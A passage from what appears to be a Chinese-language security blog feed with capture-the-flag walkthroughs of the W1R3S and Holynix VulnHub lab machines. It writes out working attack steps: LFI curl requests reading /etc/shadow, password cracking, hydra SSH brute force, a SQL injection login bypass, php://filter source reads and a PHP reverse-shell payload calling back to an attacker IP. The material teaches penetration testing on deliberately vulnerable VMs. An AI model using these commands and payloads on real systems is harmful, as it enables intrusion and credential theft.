we have a ןot of work to do‘ stop pןayıng around˙˙˙˙

&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h3&gt;2.2. MySQL 渗透&lt;/h3&gt;
&lt;p&gt;尝试连接数据库，提示本机无法登入。没有其他信息，3306 渗透暂时放弃。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ mysql -h 192.168.200.146 -u root -p
Enter password: 
ERROR 2002 (HY000): Received error packet before completion of TLS handshake. The authenticity of the following error cannot be verified: 1130 - Host &apos;192.168.200.142&apos; is not allowed to connect to this MySQL server
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h3&gt;2.3. Web 渗透&lt;/h3&gt;
&lt;h4&gt;2.3.1. 网页目录扫描&lt;/h4&gt;
&lt;p&gt;在端口扫描阶段发现主机的 80 端口开启，直接访问后是一个 Apache 的界面，使用目录扫描，看看有没有其他的服务。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo dirsearch -u http://192.168.200.146 -o dirsearch_146.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./img/W1r3s1.0.1/image-20260308175318486.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;2.3.2. 网页探测&lt;/h4&gt;
&lt;p&gt;http://192.168.200.146/wordpress/ 会 301 跳转到 localhost，这么做到的？&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/W1r3s1.0.1/image-20260308180153538.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;2.3.3. EXP 查询&lt;/h4&gt;
&lt;p&gt;http://192.168.200.146/administrator 看上去是一个 CMS 安装界面。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/W1r3s1.0.1/image-20260311192639564.png&quot; alt=&quot;cuppas-cms首页&quot; /&gt;&lt;/p&gt;
&lt;p&gt;点击 next 尝试去看看能不能安装（注意在实际操作环境中，一定要确定这个操作步骤会不会对系统造成不可逆的影响，你能不能承担这个风险。）&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/W1r3s1.0.1/image-20260308180902995.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这个系统会不会有 EXP，用 searchsploit 或者 https://www.exploit-db.com/ 搜索一下。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;searchsploit cuppa cms
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./img/W1r3s1.0.1/image-20260311192933965.png&quot; alt=&quot;查询存在的exp&quot; /&gt;&lt;/p&gt;
&lt;p&gt;将 EXP 文件移动到现在的操作目录查看，当然也可以直接查看 &lt;code&gt;/usr/share/exploitdb/exploits&lt;/code&gt; 路径下的文件，这是 searchsploit 默认存放 EXP 的路径。&lt;/p&gt;
&lt;p&gt;复制 EXP 到当前路径：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;searchsploit cuppa -m 25971
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;3. 漏洞利用&lt;/h2&gt;
&lt;h3&gt;漏洞原理分析&lt;/h3&gt;
&lt;p&gt;阅读 EXP 中的内容中，可以得到这个 CMS 存在一个严重的&lt;strong&gt;本地文件包含（LFI）漏洞&lt;/strong&gt;，利用该漏洞可以直接读取 &lt;code&gt;/etc/shadow&lt;/code&gt; 等敏感系统文件，这才是拿下该靶机的正确方向。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;EXP URL：&lt;/strong&gt; https://www.exploit-db.com/exploits/25971&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;CMS 源码：&lt;/strong&gt; https://github.com/CuppaCMS/CuppaCMS&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;漏洞页面源码：&lt;/strong&gt; https://github.com/CuppaCMS/CuppaCMS/blob/master/alerts/alertConfigField.php&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;注意：在遇到 CMS 时可以去互联网上寻找是否存在公开的代码，以此进行白盒审计。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h4&gt;漏洞源码&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;content_alert_config&quot; class=&quot;content_alert_config&quot;&amp;gt;
    &amp;lt;?php include &quot;../components/table_manager/fields/config/&quot;.@$cuppa-&amp;gt;POST(&quot;urlConfig&quot;); ?&amp;gt;
&amp;lt;/div&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;利用原理&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;urlConfig 来自用户可控的 POST 参数。&lt;/li&gt;
&lt;li&gt;这个值被直接拼接进 include 路径，没有做白名单、路径规范化、后缀限制或目录穿越过滤。&lt;/li&gt;
&lt;li&gt;include 会把目标文件当作 PHP 文件载入并执行；如果目标不是 PHP，也会尝试按文件内容输出/解析。&lt;/li&gt;
&lt;li&gt;因为是相对路径拼接，攻击者可以通过目录穿越把原本应限制在 ../components/table_manager/fields/config/ 下的包含范围“跳出去”，从而包含服务器上的其他本地文件&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;http://192.168.200.146/administrator/alerts/alertConfigField.php?urlConfig=../../../../../../../../../etc/passwd&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/W1r3s1.0.1/image-20260311195411239.png&quot; alt=&quot;image-20260311195411239&quot; /&gt;&lt;/p&gt;
&lt;p&gt;使用 POST 方式上传 EXP，尝试读取 passwd 文件&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl -d &quot;urlConfig=../../../../../../../../../etc/passwd&quot; http://192.168.200.146/administrator/alerts/alertConfigField.php
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./img/W1r3s1.0.1/image-20260311195710055.png&quot; alt=&quot;image-20260311195710055&quot; /&gt;&lt;/p&gt;
&lt;p&gt;每一条用户数据的第二段都是 X，证明密码是以哈希的方式存在了 shadow 文件中的，所以立刻回去找 shadow 文件看能否读取。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl -d &quot;urlConfig=../../../../../../../../../etc/shadow&quot; http://192.168.200.146/administrator/alerts/alertConfigField.php
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;网页可以返回 /etc/shadow 文件，筛选出有哈希的文件保存。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/W1r3s1.0.1/image-20260311200945613.png&quot; alt=&quot;image-20260311200945613&quot; /&gt;&lt;/p&gt;
&lt;p&gt;将保存的 hash 值进行爆破处理。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;john shadow.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;密码得出：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;www-data : www-data
w1rs3 : computer&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;./img/W1r3s1.0.1/image-20260311201354465.png&quot; alt=&quot;image-20260311201354465&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;4. 提权&lt;/h2&gt;
&lt;h3&gt;登入&lt;/h3&gt;
&lt;p&gt;通过 Web 程序的文件上传漏洞获得了主机的账户和密码，进行 SSH 登入测试。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/W1r3s1.0.1/image-20260311201641998.png&quot; alt=&quot;image-20260311201641998&quot; /&gt;&lt;/p&gt;
&lt;p&gt;可以通过 SSH 登入，尝试对用户提权。&lt;/p&gt;
&lt;h3&gt;收集系统信息&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;w1r3s@W1R3S:~$ whoami
w1r3s
w1r3s@W1R3S:~$ id
uid=1000(w1r3s) gid=1000(w1r3s) groups=1000(w1r3s),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
w1r3s@W1R3S:~$ uname -a
Linux W1R3S 4.13.0-36-generic #40~16.04.1-Ubuntu SMP Fri Feb 16 23:25:58 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
w1r3s@W1R3S:~$ sudo -l
[sudo] password for w1r3s: 
Matching Defaults entries for w1r3s on W1R3S.localdomain:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User w1r3s may run the following commands on W1R3S.localdomain:
    (ALL : ALL) ALL
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;获取 root 权限&lt;/h3&gt;
&lt;p&gt;w1r3s 这个用户拥有所有的权限，使用 &lt;code&gt;sudo -l&lt;/code&gt; 和用户 ID 都可以看出，对用户运行 &lt;code&gt;sudo su&lt;/code&gt; 获得 root 权限。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo /bin/bash
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./img/W1r3s1.0.1/image-20260311202143991.png&quot; alt=&quot;image-20260311202143991&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;5. 其他&lt;/h2&gt;
&lt;h3&gt;SSH 密码爆破&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;hydra -L user.list -P /usr/share/wordlists/rockyou.txt ssh://192.168.200.146 -t 16 -f -u
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;-t&lt;/code&gt;：设置并发线程数&lt;/p&gt;
&lt;p&gt;&lt;code&gt;-f&lt;/code&gt;：获取&lt;strong&gt;一个&lt;/strong&gt;可用的账号，立即停止&lt;/p&gt;
&lt;p&gt;&lt;code&gt;-u&lt;/code&gt;：循环用户名而不是循环密码&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;./img/W1r3s1.0.1/image-20260326133941369.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>Vulnhub Holynix WriteUp</title><link>https://blog.owenwoow.com/posts/2026/05/05/holynix/</link><guid isPermaLink="true">https://blog.owenwoow.com/posts/2026/05/05/holynix/</guid><description>巧妙运用 SQL 注入和 LFI 漏洞进行渗透，结合 Cookie 越权和 sudo 提权拿下靶机</description><pubDate>Tue, 05 May 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;前言&lt;/h1&gt;
&lt;p&gt;&lt;strong&gt;靶场介绍：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;巧妙运用 SQL 注入和 LFI&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;holynix-v1.tar.bz2&lt;/strong&gt; （大小：239 MB）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;下载（镜像）&lt;/strong&gt;：&lt;a href=&quot;https://download.vulnhub.com/holynix/holynix-v1.tar.bz2&quot;&gt;https://download.vulnhub.com/holynix/holynix-v1.tar.bz2&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;修改网卡 MAC 地址：00:0C:29:BC:05:DE&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;涉及工具：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Nmap&lt;/li&gt;
&lt;li&gt;Dirsearch&lt;/li&gt;
&lt;li&gt;Python&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;./img/holynix/holynix%E6%94%BB%E5%87%BB%E9%93%BE.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;1. 信息收集&lt;/h1&gt;
&lt;h2&gt;1.1 Nmap 信息扫描&lt;/h2&gt;
&lt;h3&gt;端口扫描&lt;/h3&gt;
&lt;p&gt;首先使用 Nmap 对目标主机进行全面的端口和服务扫描，发现目标仅对外开放了 &lt;code&gt;80&lt;/code&gt; 端口。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;80/tcp open  http
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;详细信息&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.12 with Suhosin-Patch)
|_http-server-header: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.12 with Suhosin-Patch
|_http-title: Site doesn&apos;t have a title (text/html).
MAC Address: 00:0C:29:BC:05:DE (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|WAP|specialized|proxy server|router|media device|phone
Running (JUST GUESSING): Linux 2.6.X (94%), PheeNet embedded (90%), Citrix XenServer 5.X (89%), WebSense embedded (89%), Linksys embedded (89%), Sonos embedded (88%), ipTIME embedded (87%), Google Android 4.0.X (87%)
OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/h:pheenet:wap-854gp cpe:/o:citrix:xenserver:5.5 cpe:/h:linksys:rv042 cpe:/h:sonos:zoneplayer cpe:/h:iptime:pro_54g cpe:/o:google:android:4.0.4
Aggressive OS guesses: Linux 2.6.18 - 2.6.24 (94%), Linux 2.6.24 - 2.6.25 (92%), Linux 2.6.18 - 2.6.32 (91%), PheeNet WAP-854GP WAP (90%), Citrix XenServer 5.5 (Linux 2.6.18) (89%), Linux 2.6.9 - 2.6.33 (89%), WebSense proxy appliance (Linux 2.6) (89%), Linksys RV042 router (89%), Linux 2.6.35 (88%), Linux 2.6.16 (88%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;漏洞扫描&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;PORT   STATE SERVICE
80/tcp open  http
|_http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug)
|_http-csrf: Couldn&apos;t find any CSRF vulnerabilities.
|_http-trace: TRACE is enabled
|_http-dombased-xss: Couldn&apos;t find any DOM based XSS.
|_http-stored-xss: Couldn&apos;t find any stored XSS vulnerabilities.
| http-slowloris-check: 
|   VULNERABLE:
|   Slowloris DOS attack
|     State: LIKELY VULNERABLE
|     IDs:  CVE:CVE-2007-6750
|       Slowloris tries to keep many connections to the target web server open and hold
|       them open as long as possible.  It accomplishes this by opening connections to
|       the target web server and sending a partial request. By doing so, it starves
|       the http server&apos;s resources causing Denial Of Service.
|       
|     Disclosure date: 2009-09-17
|     References:
|       http://ha.ckers.org/slowloris/
|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750
| http-enum: 
|   /login.php: Possible admin folder
|   /login/: Login page
|   /home/: Potentially interesting folder
|   /icons/: Potentially interesting folder w/ directory listing
|   /img/: Potentially interesting folder
|   /index/: Potentially interesting folder
|   /misc/: Potentially interesting folder
|   /transfer/: Potentially interesting folder
|_  /upload/: Potentially interesting folder
MAC Address: 00:0C:29:BC:05:DE (VMware)

Nmap done: 1 IP address (1 host up) scanned in 321.32 seconds

&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;2. Web 渗透&lt;/h1&gt;
&lt;h2&gt;页面信息检索（/）&lt;/h2&gt;
&lt;p&gt;访问 80 端口后，页面是一个简单的系统，主要有 &lt;code&gt;login&lt;/code&gt; 和 &lt;code&gt;home&lt;/code&gt; 两个指向。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/holynix/image-20260407185648472.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;&lt;strong&gt;页面源码：&lt;/strong&gt;&lt;/h4&gt;
&lt;p&gt;&lt;img src=&quot;./img/holynix/image-20260407185830533.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;LFI 测试&lt;/h3&gt;
&lt;p&gt;点击 &lt;code&gt;login&lt;/code&gt; 时，观察到 URL 变成了 &lt;code&gt;http://192.168.200.148/index.php?page=login.php&lt;/code&gt;。这种 &lt;code&gt;?page=&lt;/code&gt; 的参数传递方式极易存在&lt;strong&gt;本地文件包含（LFI）漏洞&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/holynix/image-20260407190545133.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/holynix/image-20260408172857161.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;页面返回报错：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Warning: include(404.html) [function.include]: failed to open stream: No such file or directory in /var/apache2/htdocs/index.php on line 10

Warning: include() [function.include]: Failed opening &apos;404.html&apos; for inclusion (include_path=&apos;.:/usr/share/php:/usr/share/pear&apos;) in /var/apache2/htdocs/index.php on line 10
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;报错信息直接证实了后端使用了 &lt;code&gt;include()&lt;/code&gt; 函数拼接了 &lt;code&gt;$page&lt;/code&gt; 参数，并且没有对输入进行严格过滤。虽然这里提示没有权限或找不到文件，但这确认了 LFI 漏洞的存在，我们可以把它作为后续读取系统文件或配合触发 Webshell 的重要手段。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;登录框 SQL 注入漏洞利用&lt;/h3&gt;
&lt;p&gt;回看我们之前点击 &lt;code&gt;login&lt;/code&gt; 时，页面出现了一个登录的表单。对于这种极简的自研后台，首先考虑是否存在 SQL 注入的可能性。&lt;/p&gt;
&lt;p&gt;为了探测闭合符号，我们在 Username 和 Password 两个表单中同时输入 &lt;code&gt;&apos;&lt;/code&gt; ，可以看到输入后页面返回了报错，证实了存在 SQL 注入的可能性&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/holynix/image-20260408173050050.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;万能密钥&lt;/h4&gt;
&lt;p&gt;由于存在 SQL 注入，我们在 Username 和 Password 两个表单中同时输入万能密钥进行盲测：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&apos; or 1=1 -- -
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./img/holynix/image-20260408173331061.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;问题：为什么要在两个表单中同时输入万能密钥呢？&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;因为在不清楚后端代码的情况下，我们无法确定 SQL 语句的具体拼接逻辑（后端是先查 username 存在与否，还是把 username 和 password 放在一个 WHERE 语句里同时比对）。在两个输入框同时注入闭合符和永真条件，可以最大概率地破坏原有的 SQL 结构并触发闭合，实现绕过。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h4&gt;登录成功&lt;/h4&gt;
&lt;p&gt;&lt;img src=&quot;./img/holynix/image-20260408173522490.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;页面信息检索（index.php）&lt;/h2&gt;
&lt;p&gt;提示登录用户为 alamo&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/holynix/image-20260407194409964.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;员工表单&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/holynix/image-20260407194540267.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;留言&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/holynix/image-20260411160614166.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;留言板&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/holynix/image-20260411160633977.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;upload&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/holynix/image-20260408173918725.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;安全手册&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/holynix/image-20260407200013681.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;寻找文件上传与越权突破点&lt;/h3&gt;
&lt;p&gt;登录后，在页面发现 &lt;code&gt;upload.php&lt;/code&gt;。现在的目标很明确：利用文件上传漏洞传一个 Kali 自带的 PHP 反弹 Shell (&lt;code&gt;php-reverse-shell.php&lt;/code&gt;)。&lt;/p&gt;
&lt;p&gt;但尝试上传时，系统无情地提示：&lt;code&gt;Home directory uploading disabled for user alamo&lt;/code&gt;（当前用户没有上传权限）。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/holynix/image-20260407200040781.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/holynix/image-20260407200134227.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;&lt;strong&gt;突破口：Cookie 越权&lt;/strong&gt;&lt;/h4&gt;
&lt;p&gt;按 F12 检查网页状态，查看浏览器的 Cookie 信息。发现 cookie id 设置得非常简单，完全可以通过 cookie 越权切换其他的用户。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/holynix/image-20260407200244513.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;突破口 2：SQL 注入切换用户&lt;/h4&gt;
&lt;p&gt;回看我们是通过万能密钥登录进来的，当然可以通过注入切换到其他用户。但是这里遇到了一个问题，其他用户的用户名我不是很清楚，这怎么办？&lt;/p&gt;
&lt;p&gt;回显页面，有一个员工表单，我们可以一个一个去试上面的员工姓名，留言本上的员工姓名更可疑。不过我这里有一个发现，在 &lt;code&gt;?page=ssp.php&lt;/code&gt; 这个页面存在一个 LFI 的漏洞，使我们自己得到了当前系统的用户名。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;http://192.168.200.148/index.php?page=ssp.php&amp;amp;text_file_name=/etc/passwd
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./img/holynix/image-20260407213529394.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;构造 Payload:&lt;/h3&gt;
&lt;p&gt;Payload:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php exec(&quot;/bin/bash -c &apos;bash -i &amp;gt;&amp;amp; /dev/tcp/192.168.200.142/4444 0&amp;gt;&amp;amp;1&apos;&quot;); ?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Kali 自带反弹 Shell:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;locate php-reverse-shell.php
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./img/holynix/image-20260407214929199.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;代码审计与 Shell 触发&lt;/h3&gt;
&lt;p&gt;在确认当前用户具备上传权限后，我们成功上传了文件，但页面并没有回显文件存储的绝对路径。为了找到我们上传的 WebShell，我们需要弄清楚后端的处理逻辑。&lt;/p&gt;
&lt;p&gt;既然存在 LFI 漏洞，我们可以直接读取 &lt;code&gt;upload.php&lt;/code&gt; 的后端源码。为了防止 PHP 代码在页面上被直接执行导致无法查看，我们配合 PHP 伪协议（&lt;code&gt;php://filter&lt;/code&gt;）将其转为 Base64 编码读出：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;http://192.168.200.148/index.php?page=ssp.php&amp;amp;text_file_name=php://filter/convert.base64-encode/resource=upload.php
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./img/holynix/image-20260409105336194.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;将获取到的 Base64 字符串解码后，得到关键的上传逻辑代码如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// ... [前面的权限验证部分省略] ...
$homedir = &quot;/home/&quot;.$logged_in_user. &quot;/&quot;;
$uploaddir = &quot;upload/&quot;;
$target = $uploaddir . basename( $_FILES[&apos;uploaded&apos;][&apos;name&apos;]) ;
$uploaded_type = $_FILES[&apos;uploaded&apos;][&apos;type&apos;];
$command=0;

// 判断是否为 gzip 压缩包且开启了自动解压
if ( $uploaded_type ==&quot;application/gzip&quot; &amp;amp;&amp;amp; $_POST[&apos;autoextract&apos;] == &apos;true&apos; ) { $command = 1; }

if(move_uploaded_file($_FILES[&apos;uploaded&apos;][&apos;tmp_name&apos;], $target)) {
    // 成功上传到临时目录后的处理逻辑
    if ( $command == 1 ) {
        // 如果是 gzip 压缩包，以 root 权限执行 tar 解压到用户家目录
        exec(&quot;sudo tar xzf &quot; .$target. &quot; -C &quot; .$homedir);
        exec(&quot;rm &quot; .$target);
    } else {
        // 如果是普通文件，以 root 权限执行 mv 移动到用户家目录
        exec(&quot;sudo mv &quot; .$target. &quot; &quot; .$homedir . $_FILES[&apos;uploaded&apos;][&apos;name&apos;]);
    }
    exec(&quot;/var/apache2/htdocs/update_own&quot;);
}
// ... [后续代码省略] ...
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;源码审计分析&lt;/h4&gt;
&lt;p&gt;通过分析上述代码，可以得出两个核心结论：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;文件去向：&lt;/strong&gt; 无论我们上传的是普通文件还是 &lt;code&gt;.tar.gz&lt;/code&gt; 压缩包，文件最终都会被移动或解压到当前登录用户的家目录下（即 &lt;code&gt;$homedir = &quot;/home/etenenbaum/&quot;&lt;/code&gt;）。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;提权伏笔：&lt;/strong&gt; 系统在移动或解压文件时，竟然使用了 &lt;code&gt;sudo mv&lt;/code&gt; 和 &lt;code&gt;sudo tar&lt;/code&gt;。这意味着系统允许 &lt;code&gt;www-data&lt;/code&gt; 用户以 &lt;code&gt;root&lt;/code&gt; 权限执行这两个命令，这为后续的提权留下了巨大的隐患。&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h4&gt;触发反弹 Shell&lt;/h4&gt;
&lt;p&gt;已知文件存放在了 &lt;code&gt;/home/etenenbaum/&lt;/code&gt; 目录下。结合通常的 Apache 用户目录配置（通常配置为允许通过 &lt;code&gt;~用户名&lt;/code&gt; 访问家目录下的 &lt;code&gt;public_html&lt;/code&gt; 类似结构），我们猜测可以直接通过 Web 路径访问该用户的家目录。&lt;/p&gt;
&lt;p&gt;尝试在浏览器中访问：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;http://192.168.200.148/~etenenbaum/
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;页面成功返回了该目录的索引（Directory Listing），我们上传的 &lt;code&gt;shell.php&lt;/code&gt; 赫然在列！&lt;/p&gt;
&lt;p&gt;此时，在攻击机（Kali）上开启 nc 监听：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo nc -lvnp 4444
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./img/holynix/image-20260411224642039.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;最后，在浏览器中点击 &lt;code&gt;shell.php&lt;/code&gt;（或直接访问 &lt;code&gt;http://192.168.200.148/~etenenbaum/shell.php&lt;/code&gt;）触发代码执行。攻击机终端成功接收到反弹链接，获取到目标主机的初始立足点（&lt;code&gt;www-data&lt;/code&gt; 权限）。&lt;/p&gt;
&lt;p&gt;上传文件。提示上传到了用户主目录&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/holynix/image-20260407214913077.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;代码审计，寻找上传后文件的路径 /ip/~用户名&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/holynix/image-20260407222136471.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;nc 反弹链接成功&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/holynix/image-20260407222116711.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;信息收集&lt;/h2&gt;
&lt;h3&gt;目录爆破&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;[06:57:47] 200 -   63B  - /footer.php                                       
[06:57:47] 200 -   63B  - /footer
[06:57:47] 200 -  604B  - /header.php                                       
[06:57:47] 200 -  604B  - /header                                           
[06:57:47] 200 -  109B  - /home                                             
[06:57:47] 200 -  109B  - /home.php                                         
[06:57:48] 301 -  356B  - /img  -&amp;gt;  http://192.168.200.148/img/             
[06:57:49] 200 -  342B  - /login                                            
[06:57:49] 200 -  342B  - /login.php                                        
[06:57:49] 200 -  342B  - /login/admin/                                     
[06:57:49] 200 -  342B  - /login/
[06:57:49] 200 -  342B  - /login/admin/admin.asp
[06:57:49] 200 -  342B  - /login/administrator/
[06:57:49] 200 -  342B  - /login/cpanel.php
[06:57:49] 200 -  342B  - /login/cpanel.aspx
[06:57:49] 200 -  342B  - /login/cpanel.jsp
[06:57:49] 200 -  342B  - /login/cpanel.html
[06:57:49] 200 -  342B  - /login/cpanel/
[06:57:49] 200 -  342B  - /login/login
[06:57:49] 200 -  342B  - /login/index
[06:57:49] 200 -  342B  - /login/cpanel.js
[06:57:49] 200 -  342B  - /login/super
[06:57:49] 200 -  342B  - /login/oauth/
[06:57:50] 301 -  357B  - /misc  -&amp;gt;  http://192.168.200.148/misc/           
[06:57:53] 403 -  336B  - /server-status                                    
[06:57:53] 403 -  337B  - /server-status/                                   
[06:57:56] 200 -   44B  - /transfer                                         
[06:57:56] 301 -  359B  - /upload  -&amp;gt;  http://192.168.200.148/upload/       
[06:57:56] 200 -   44B  - /upload.php                                       
[06:57:56] 200 -   26B  - /upload/                                          
[06:57:58] 301 -  360B  - /~backup  -&amp;gt;  http://192.168.200.148/~backup/     
